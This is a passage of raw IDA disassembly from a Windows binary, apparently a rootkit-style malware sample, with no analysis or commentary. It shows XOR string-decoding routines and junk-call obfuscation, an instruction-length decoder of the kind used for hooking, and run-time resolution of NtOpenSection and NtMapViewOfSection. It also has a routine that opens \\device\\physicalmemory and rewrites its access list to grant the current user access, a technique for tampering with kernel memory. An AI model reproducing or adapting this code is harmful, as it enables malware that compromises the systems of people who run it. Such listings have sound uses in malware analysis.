		cmp	eax, 0DCFh
		jle	short loc_401A2C
		and	dword_43B298, 0

loc_401A2C:				; CODE XREF: .text:00401A23j
		lea	eax, dword_433000[edi]
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A36	proc near		; CODE XREF: sub_405601+4Ap
					; sub_4062CD+470p ...

var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_15		= dword	ptr -15h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_9]
		lea	esi, byte_43B29C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		call	sub_40C508	; GetCurrentProcessId
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401AA2
		mov	[ebp+var_1C], 0D77h
		mov	eax, [ebp+var_1C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_1C], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_401A90
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0

loc_401A90:				; CODE XREF: sub_401A36+52j
		lea	edi, [ebp+var_1D]
		lea	esi, byte_43B29D
		xor	ecx, ecx
		inc	ecx
		rep movsb
		xor	eax, eax
		jmp	short loc_401B0C
; ---------------------------------------------------------------------------

loc_401AA2:				; CODE XREF: sub_401A36+3Bj
		push	0
		push	ebx
		call	sub_40C520	; GetFileSize
		mov	[ebp+var_4], eax
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, [ebp+var_4]
		add	eax, 10h
		push	eax
		push	40h
		call	sub_40C64C	; LocalAlloc
		mov	[ebp+var_8], eax
		call	sub_40C634	; IsDebuggerPresent
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_401AD8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		jmp	short loc_401ADE
; ---------------------------------------------------------------------------

loc_401AD8:				; CODE XREF: sub_401A36+98j
		lea	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax

loc_401ADE:				; CODE XREF: sub_401A36+A0j
		push	[ebp+var_1C]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_40C688	; ReadFile
		lea	edi, [ebp+var_11]
		lea	esi, byte_43B29E
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	ebx
		call	sub_40C55C	; CloseHandle
		mov	eax, dword_43B29F
		mov	[ebp+var_15], eax
		mov	eax, [ebp+var_8]

loc_401B0C:				; CODE XREF: sub_401A36+6Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401A36	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 16Eh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B2AC
		lea	eax, ds:410850h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 17Eh
		xor	edi, edi
		jmp	short loc_401B5D
; ---------------------------------------------------------------------------

loc_401B46:				; CODE XREF: .text:00401B5Fj
		mov	eax, dword_43B2AC
		add	eax, edi
		lea	eax, ds:410850h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 73h
		mov	[eax], dl
		inc	edi

loc_401B5D:				; CODE XREF: .text:00401B44j
		cmp	edi, esi
		jl	short loc_401B46
		mov	eax, dword_43B2AC
		add	eax, esi
		mov	byte ptr ds:dword_410850[eax], 0
		mov	edi, dword_43B2AC
		mov	eax, edi
		add	eax, 3
		add	eax, esi
		mov	dword_43B2AC, eax
		cmp	eax, 0DBBh
		jle	short loc_401B90
		and	dword_43B2AC, 0

loc_401B90:				; CODE XREF: .text:00401B87j
		lea	eax, dword_410850[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B9A	proc near		; CODE XREF: sub_405601+66Ap
					; sub_409847+D36p

var_A		= byte ptr -0Ah
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C538	; RtlGetLastWin32Error
		mov	[ebp+var_2], 4231h
		inc	[ebp+var_2]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_401C0E
; ---------------------------------------------------------------------------

loc_401BB7:				; CODE XREF: sub_401B9A+7Bj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0Dh
		jnz	short loc_401C0D
		lea	edi, [ebp+var_A]
		lea	esi, aRrQa	; "rr/+Q"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+arg_4]
		mov	edx, ebx
		sub	edx, eax
		push	edx
		mov	edx, [ebp+arg_0]
		add	edx, eax
		push	edx
		push	[ebp+arg_8]
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_3], 0DEh
		movzx	eax, [ebp+var_3]
		imul	eax, 6325h
		mov	[ebp+var_3], al
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx+eax], 0
		mov	eax, ebx
		add	eax, 2
		jmp	short loc_401C7E
; ---------------------------------------------------------------------------

loc_401C0D:				; CODE XREF: sub_401B9A+24j
		inc	ebx

loc_401C0E:				; CODE XREF: sub_401B9A+1Bj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401BB7
		cmp	[ebp+arg_4], 0
		jz	short loc_401C43
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401C43
		mov	eax, ebx
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0Ah
		jnz	short loc_401C43
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		inc	eax
		jmp	short loc_401C7E
; ---------------------------------------------------------------------------

loc_401C43:				; CODE XREF: sub_401B9A+81j
					; sub_401B9A+8Aj ...
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_40C73C	; lstrlen
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_401C7C
		call	sub_40C5A4	; GetVersion
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	sub_40C4B8
		mov	word ptr [ebp-4], 33AEh
		sub	word ptr [ebp-4], 32B9h
		mov	eax, [ebp+arg_4]
		add	eax, ebx
		jmp	short loc_401C7E
; ---------------------------------------------------------------------------

loc_401C7C:				; CODE XREF: sub_401B9A+B9j
		xor	eax, eax

loc_401C7E:				; CODE XREF: sub_401B9A+71j
					; sub_401B9A+A7j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401B9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B2C0
		lea	eax, ds:436120h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401CC3
; ---------------------------------------------------------------------------

loc_401CA9:				; CODE XREF: .text:00401CC5j
		mov	eax, dword_43B2C0
		add	eax, edi
		lea	eax, ds:436120h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0A7h
		mov	[eax], dl
		inc	edi

loc_401CC3:				; CODE XREF: .text:00401CA7j
		cmp	edi, esi
		jl	short loc_401CA9
		mov	eax, dword_43B2C0
		add	eax, esi
		mov	byte ptr ds:dword_436120[eax], 0
		xor	edi, edi
		mov	edi, dword_43B2C0
		mov	eax, edi
		add	eax, 3
		add	eax, esi
		mov	dword_43B2C0, eax
		inc	dword_43B2C0
		cmp	dword_43B2C0, 0DC7h
		jle	short loc_401D03
		and	dword_43B2C0, 0

loc_401D03:				; CODE XREF: .text:00401CFAj
		mov	dword ptr [ebp-4], 347h
		lea	eax, dword_436120[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D14	proc near		; CODE XREF: sub_4028A6+5Dp

var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_B		= byte ptr -0Bh
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 60h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		inc	dword_43B228
		mov	[ebp+var_4], 1DB7h
		movzx	eax, [ebp+var_4]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_4], ax
		mov	ebx, [ebp+arg_0]
		and	ds:dword_40E00C, 0
		and	ds:dword_41DA70, 0
		and	ds:dword_41DA88, 0
		and	ds:dword_40F268, 0
		mov	ds:dword_41A860, 4
		mov	ds:dword_413F84, 4

loc_401D7B:				; CODE XREF: sub_401D14+154j
					; sub_401D14+175j ...
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_413F80,	al
		movzx	eax, ds:byte_413F80
		or	eax, eax
		jl	loc_40200C
		cmp	eax, 0FFh
		jg	loc_40200C
		jmp	off_43B2D4[eax*4]
; ---------------------------------------------------------------------------
		lea	edi, [ebp+var_19]
		lea	esi, aL2r6_	; "l2r-6;."
		movsd
		movsd

loc_401DB1:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		or	byte ptr ds:dword_41DA70, 40h
		lea	edi, [ebp+var_1A]
		lea	esi, byte_43B2CC
		xor	ecx, ecx
		inc	ecx
		rep movsb
		jmp	loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401DD1:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		xor	eax, eax
		cmp	byte ptr [ebx],	20h
		setnz	al
		dec	eax
		and	eax, 4
		inc	eax
		mov	[ebp+var_20], eax
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401DEC:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		or	byte ptr ds:dword_41DA70, 40h
		test	byte ptr [ebx],	38h
		jnz	loc_40200C
		call	sub_40C598	; GetTickCount

loc_401E01:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B2E4o ...
		test	ds:byte_413F80,	1
		jz	short loc_401E1A
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401E1A:				; CODE XREF: sub_401D14+F4j
		inc	ds:dword_41DA88
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401E25:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		inc	ds:dword_41DA88
		jmp	loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401E36:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B36Co ...
		test	byte ptr ds:dword_41DA70, 10h
		jz	short loc_401E46
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401E46:				; CODE XREF: sub_401D14+129j
		mov	[ebp+var_11], 7Dh
		movzx	eax, [ebp+var_11]
		imul	eax, 46DCh
		mov	[ebp+var_11], al
		or	byte ptr ds:dword_41DA70, 10h
		mov	al, ds:byte_413F80
		mov	ds:byte_40F274,	al
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401E6D:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		test	byte ptr ds:dword_41DA70, 4
		jz	short loc_401E7D
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401E7D:				; CODE XREF: sub_401D14+160j
		call	sub_40C5A4	; GetVersion
		or	byte ptr ds:dword_41DA70, 4
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401E8E:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		test	byte ptr ds:dword_41DA70, 8
		jz	short loc_401E9E
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401E9E:				; CODE XREF: sub_401D14+181j
		call	sub_40C538	; RtlGetLastWin32Error
		or	byte ptr ds:dword_41DA70, 8
		mov	al, ds:byte_413F80
		mov	ds:byte_41EB80,	al
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401EB9:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B46Co
		test	byte ptr ds:dword_41DA70, 1
		jz	short loc_401EC9
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401EC9:				; CODE XREF: sub_401D14+1ACj
		call	sub_40C598	; GetTickCount
		or	byte ptr ds:dword_41DA70, 1
		mov	ds:dword_41A860, 2
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401EE4:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B470o
		test	byte ptr ds:dword_41DA70, 2
		jz	short loc_401EF4
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401EF4:				; CODE XREF: sub_401D14+1D7j
		or	byte ptr ds:dword_41DA70, 2
		mov	ds:dword_413F84, 2
		jmp	loc_401D7B
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401F10:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		inc	ds:dword_41DA88
		or	byte ptr ds:dword_41DA70, 40h
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F22:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		or	byte ptr ds:dword_41DA70, 40h
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F39:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_41A860
		add	eax, 2
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F4C:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_413F84
		add	ds:dword_40F268, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F5C:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401F72:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		add	ds:dword_41DA88, 2
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F7E:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		add	ds:dword_41DA88, 3
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F8A:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401F91:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B310o
		or	byte ptr ds:dword_41DA70, 20h
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42EB90,	al
		movzx	eax, ds:byte_42EB90
		or	eax, eax
		jl	short loc_402005
		cmp	eax, 0Bh
		jg	short loc_401FB9
		jmp	off_43B6D4[eax*4]
; ---------------------------------------------------------------------------

loc_401FB9:				; CODE XREF: sub_401D14+29Cj
		cmp	eax, 80h
		jl	short loc_402005
		cmp	eax, 0CFh
		jg	short loc_402005
		jmp	off_43B504[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C514	; GetCurrentThreadId

loc_401FD3:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+29Ej ...
		or	byte ptr ds:dword_41DA70, 40h
		call	sub_40C514	; GetCurrentThreadId
		jmp	short loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228
		jmp	short loc_40200C
; ---------------------------------------------------------------------------

loc_401FE9:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+29Ej ...
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		jmp	short loc_40200C
; ---------------------------------------------------------------------------

loc_401FF6:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+29Ej ...
		inc	ds:dword_41DA88
		or	byte ptr ds:dword_41DA70, 40h
		jmp	short loc_40200C
; ---------------------------------------------------------------------------

loc_402005:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+297j ...
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_40200C:				; CODE XREF: sub_401D14+7Aj
					; sub_401D14+85j ...
		inc	dword_43B228
		test	byte ptr ds:dword_41DA70, 40h
		jz	loc_40211A
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42FCFC,	al
		call	sub_40C598	; GetTickCount
		movzx	eax, ds:byte_42FCFC
		and	eax, 0C0h
		mov	[ebp+var_11], al
		movzx	eax, ds:byte_42FCFC
		and	eax, 7
		mov	[ebp+var_12], al
		movzx	eax, [ebp+var_11]
		cmp	eax, 0C0h
		jz	loc_40211A
		mov	[ebp+var_13], 0A5h
		movzx	eax, [ebp+var_13]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_13], al
		cmp	[ebp+var_11], 40h
		jnz	short loc_40207B
		inc	ds:dword_40F268

loc_40207B:				; CODE XREF: sub_401D14+35Fj
		call	sub_40C514	; GetCurrentThreadId
		movzx	eax, [ebp+var_11]
		cmp	eax, 80h
		jnz	short loc_402096
		mov	eax, ds:dword_413F84
		add	ds:dword_40F268, eax

loc_402096:				; CODE XREF: sub_401D14+375j
		mov	[ebp+var_18], 4587h
		mov	eax, [ebp+var_18]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_18], edx
		cmp	ds:dword_413F84, 2
		jnz	short loc_4020CA
		call	sub_40C508	; GetCurrentProcessId
		cmp	[ebp+var_11], 0
		jnz	short loc_40211A
		cmp	[ebp+var_12], 6
		jnz	short loc_40211A
		add	ds:dword_40F268, 2
		jmp	short loc_40211A
; ---------------------------------------------------------------------------

loc_4020CA:				; CODE XREF: sub_401D14+39Aj
		call	sub_40C514	; GetCurrentThreadId
		cmp	[ebp+var_12], 4
		jnz	short loc_402102
		mov	dword ptr [ebp-1Ch], 2A45h
		inc	dword ptr [ebp-1Ch]
		or	byte ptr ds:dword_41DA70, 80h
		call	sub_40C514	; GetCurrentThreadId
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_41A85C,	al
		movzx	eax, ds:byte_41A85C
		and	eax, 7
		mov	[ebp+var_12], al

loc_402102:				; CODE XREF: sub_401D14+3BFj
		cmp	[ebp+var_12], 5
		jnz	short loc_402115
		cmp	[ebp+var_11], 0
		jnz	short loc_402115
		add	ds:dword_40F268, 4

loc_402115:				; CODE XREF: sub_401D14+3F2j
					; sub_401D14+3F8j
		call	sub_40C5A4	; GetVersion

loc_40211A:				; CODE XREF: sub_401D14+305j
					; sub_401D14+344j ...
		and	ds:dword_40F26C, 0
		jmp	short loc_40213B
; ---------------------------------------------------------------------------

loc_402123:				; CODE XREF: sub_401D14+432j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F26C
		mov	al, [eax]
		mov	ds:byte_413F78[edx], al
		inc	ds:dword_40F26C

loc_40213B:				; CODE XREF: sub_401D14+40Dj
		mov	eax, ds:dword_40F268
		cmp	ds:dword_40F26C, eax
		jb	short loc_402123
		lea	edi, [ebp+var_B]
		lea	esi, aF50z	; "F 5 0z"
		mov	ecx, 7
		rep movsb
		and	ds:dword_40F26C, 0
		jmp	short loc_402179
; ---------------------------------------------------------------------------

loc_402161:				; CODE XREF: sub_401D14+470j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F26C
		mov	al, [eax]
		mov	ds:byte_439330[edx], al
		inc	ds:dword_40F26C

loc_402179:				; CODE XREF: sub_401D14+44Bj
		mov	eax, ds:dword_41DA88
		cmp	ds:dword_40F26C, eax
		jb	short loc_402161
		inc	dword_43B228
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	ds:dword_40E00C, eax
		xor	eax, eax
		inc	eax

loc_402199:				; CODE XREF: sub_401D14+12Dj
					; sub_401D14+164j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401D14	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 1F7h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43BF3C
		lea	eax, ds:417640h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4021E7
; ---------------------------------------------------------------------------

loc_4021CD:				; CODE XREF: .text:004021E9j
		mov	eax, dword_43BF3C
		add	eax, edi
		lea	eax, ds:417640h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 88h
		mov	[eax], dl
		inc	edi

loc_4021E7:				; CODE XREF: .text:004021CBj
		cmp	edi, esi
		jl	short loc_4021CD
		mov	dword ptr [ebp-8], 182h
		mov	eax, dword_43BF3C
		add	eax, esi
		mov	byte ptr ds:dword_417640[eax], 0
		xor	edi, edi
		mov	edi, dword_43BF3C
		add	dword_43BF3C, 3
		mov	eax, dword_43BF3C
		inc	eax
		add	eax, esi
		mov	dword_43BF3C, eax
		cmp	eax, 0E06h
		jle	short loc_40222B
		and	dword_43BF3C, 0

loc_40222B:				; CODE XREF: .text:00402222j
		mov	dword ptr [ebp-0Ch], 1D5h
		lea	eax, dword_417640[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40223C	proc near		; CODE XREF: sub_402A4D+1Ep

var_A		= byte ptr -0Ah
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_40C550	; GetModuleHandleA
		mov	ebx, eax
		lea	edi, [ebp+var_A]
		lea	esi, aA_utc2	; "_utc*2"
		movsd
		movsd
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_42FCF4, eax
		call	sub_40C634	; IsDebuggerPresent
		push	offset aNtunmapviewofs ; "NtUnmapViewOfSection"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_41C954, eax
		call	sub_40C538	; RtlGetLastWin32Error
		push	offset aNtopensection ;	"NtOpenSection"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_41A868, eax
		mov	[ebp+var_2], 2FA0h
		sub	[ebp+var_2], 63DAh
		push	offset aNtmapviewofsec ; "NtMapViewOfSection"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_41DA80, eax
		push	offset aRtlntstatustod ; "RtlNtStatusToDosError"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_42FCF0, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40223C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022CC	proc near		; CODE XREF: sub_402A4D+16Ap

var_88		= byte ptr -88h
var_81		= byte ptr -81h
var_79		= dword	ptr -79h
var_75		= byte ptr -75h
var_6D		= byte ptr -6Dh
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_58		= byte ptr -58h
var_57		= byte ptr -57h
var_56		= word ptr -56h
var_53		= byte ptr -53h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_53], 0B5h
		movzx	eax, [ebp+var_53]
		imul	eax, 5810h
		mov	[ebp+var_53], al
		lea	edi, [ebp+var_6D]
		lea	esi, aHgtr	; "hgtr"
		mov	ecx, 5
		rep movsb
		push	offset aDevicePhysical ; "\\device\\physicalmemory"
		lea	eax, [ebp+var_60]
		push	eax
		call	ds:dword_42FCF4
		lea	edi, [ebp+var_75]
		lea	esi, aQOkgoj	; "Q!okgOJ"
		movsd
		movsd
		mov	[ebp+var_18], 18h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		call	sub_40C514	; GetCurrentThreadId
		mov	[ebp+var_C], 40h
		mov	eax, dword_43C00F
		mov	[ebp+var_79], eax
		and	[ebp+var_8], 0
		call	sub_40C508	; GetCurrentProcessId
		and	[ebp+var_4], 0
		mov	[ebp+var_56], 58E2h
		inc	[ebp+var_56]
		and	[ebp+var_30], 0
		mov	[ebp+var_52], 721Bh
		movzx	eax, [ebp+var_52]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52], ax
		and	[ebp+var_2C], 0
		lea	edi, [ebp+var_81]
		lea	esi, aXghyb_v	; "Xhyb."
		mov	ecx, 2
		rep movsd
		mov	[ebp+var_28], 1
		mov	[ebp+var_57], 71h
		sub	[ebp+var_57], 0F4h
		mov	[ebp+var_24], 1
		lea	eax, aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_20], eax
		mov	[ebp+var_50], 2
		call	sub_40C634	; DATA XREF: sub_43F401+2Fo
		mov	[ebp+var_4C], 1
		call	sub_40C514	; GetCurrentThreadId
		and	[ebp+var_48], 0
		mov	[ebp+var_58], 74h
		add	[ebp+var_58], 1
		lea	edi, [ebp+var_44]
		lea	esi, [ebp+var_30]
		mov	ecx, 5
		rep movsd
		call	sub_40C574	; GetProcessHeap
		lea	eax, [ebp+var_18]
		push	eax
		push	60000h
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41A868
		mov	ebx, 762Dh
		inc	ebx
		lea	eax, [ebp+var_88]
		push	eax
		push	0
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_40C958	; GetSecurityInfo
		call	sub_40C5A4	; GetVersion
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+var_64]
		lea	eax, [ebp+var_50]
		push	eax
		mov	eax, 0Bh
		sub	eax, dword_43BF38
		push	eax
		call	sub_40C970	; SetEntriesInAclA
		call	sub_40C514	; GetCurrentThreadId
		push	0
		push	[ebp+var_68]
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_40C964	; SetSecurityInfo
		push	[ebp+var_1C]
		call	sub_40C55C	; CloseHandle
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_50]
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41A868
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4022CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402465	proc near		; CODE XREF: sub_402A4D+265p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		call	sub_40C508	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		call	sub_40C598	; GetTickCount
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_14], eax
		call	sub_40C514	; GetCurrentThreadId
		push	4
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	ds:dword_41DA80
		call	sub_40C508	; GetCurrentProcessId
